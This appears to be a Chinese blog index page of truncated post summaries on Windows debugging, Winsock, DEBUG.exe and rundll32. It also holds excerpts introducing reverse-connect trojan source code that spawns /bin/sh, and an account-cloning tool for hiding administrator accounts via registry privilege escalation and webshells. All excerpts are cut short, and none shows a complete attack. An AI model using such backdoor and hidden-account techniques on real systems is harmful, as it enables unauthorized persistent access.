摘要： 通往WinDbg的捷径（一）原文：http://www.debuginfo.com/articles/easywindbg.html译者：arhat时间：2006年4月13日关键词：CDB WinDbg 导言你钟情什么样的调试器？如果你问我这个问题，我会回答是“Visual Studio + WinDbg”。我比较喜欢Visual Studio那朴实无华且易操作的接口，更喜欢它能迅速把我需要的信息... 阅读全文

摘要： // 利用winsock 得到接口信息#include #include #include int doit(){ SOCKET sd = WSASocket(AF_INET, SOCK_DGRAM, 0, 0, 0, 0); if (sd == SOCKET_ERROR) { cerr sin_addr); pAddress = (sockaddr_i... 阅读全文

摘要： http://msdn.microsoft.com/library/default.asp?url=/library/en-us/netmgmt/netmgmt/netuserchangepassword.aspPlatform SDK: Network ManagementNetUserChangePasswordThe NetUserChangePassword function change... 阅读全文

摘要： 1、如何调用DEBUG程序语法格式：DEBUG　［驱动器名：］［路径］［文件名］如有文件名，则将指定的文件调入内存。如命令中没有指定文件名，则DEBUG可以与正在内存中的内容打交道。DEBUG程序调入后，出现提示符“＿”，说明现在系统在DEBUG程序的管理下，所有DEBUG命令只有在出现提示符后才有效。2、DEBUG对寄存器和标志位的初始化 指令指针寄存器（IP）置为0100H。 ... 阅读全文

摘要： Debug的使用方法 Debug－PC之开山老祖 Debug 原意是杀虫子。这里是机器调试工具。 其实，Debug的由来，还有一则趣闻，在早期美国的一计算机房中，科学家正在紧张的工作。同时，许多台大型的计算机也在不停的运行着。大概是由于，机器过热，引来许的小虫子，以至于，计算机无法正常运行。科学们，只好停下来，捉虫子...虫子捉完了，计算机运行也正常了，后来，这个名词就沿用至今了...... 阅读全文

摘要： 第一个反弹木马代码：作者 iceblood代码#include #include #include #include #include #include #include void usage();char shell[]="/bin/sh";char message[]="s8s8 welcome\n";int sock;int main(int argc, char *argv[]) {if(... 阅读全文

摘要： 本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和sinister的指点 WEBSHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SER... 阅读全文

摘要： 几句废话：黑基发了我的克隆帐户之终结篇后，很多朋友对我文章提出了宝贵意见．由于原文是自己无聊时随便写的，很多地方不够严谨． 于是我重新整理了此文，补充了一些资料，修改了不够严谨的地方，　有问题欢迎来我blog上探讨． 序：相信大家都用过克隆帐户吧。无论是用工具还是用手工，克隆帐户无疑是隐藏帐户的最好选择。但是看见网上的文章都讲的特别麻烦。这样那样的。其实克隆帐户很简单。就是复制administr... 阅读全文

摘要： 使用一般的GetFileSize()，fopen()+fseed()等函数是得不到pagefile.sys类独占文件的大小的,此时可能使用FindFirstFile(), FindFirstFileEx(), 或 FindNextFile()函数来得到WIN32_FIND_DATA结构，此结构中的 DWORD nFileSizeHigh; DWORD nFileSizeLow; 两个字段... 阅读全文

摘要： 前面发布了“在VC中调用“打开方式...”（open with...)对话框”这篇随笔，今天把它更多的使用方法列出来，以便大家参考： Rundll者，顾名思义，执行Dll也，它的功能就是以命令行的方式呼叫Windows的动态链结库，Rundll32.exe与Rundll.exe的区别就在于前者是呼叫32位的链结库，而后者是运用于16位的链结库，它们的命令格式是∶ RUND... 阅读全文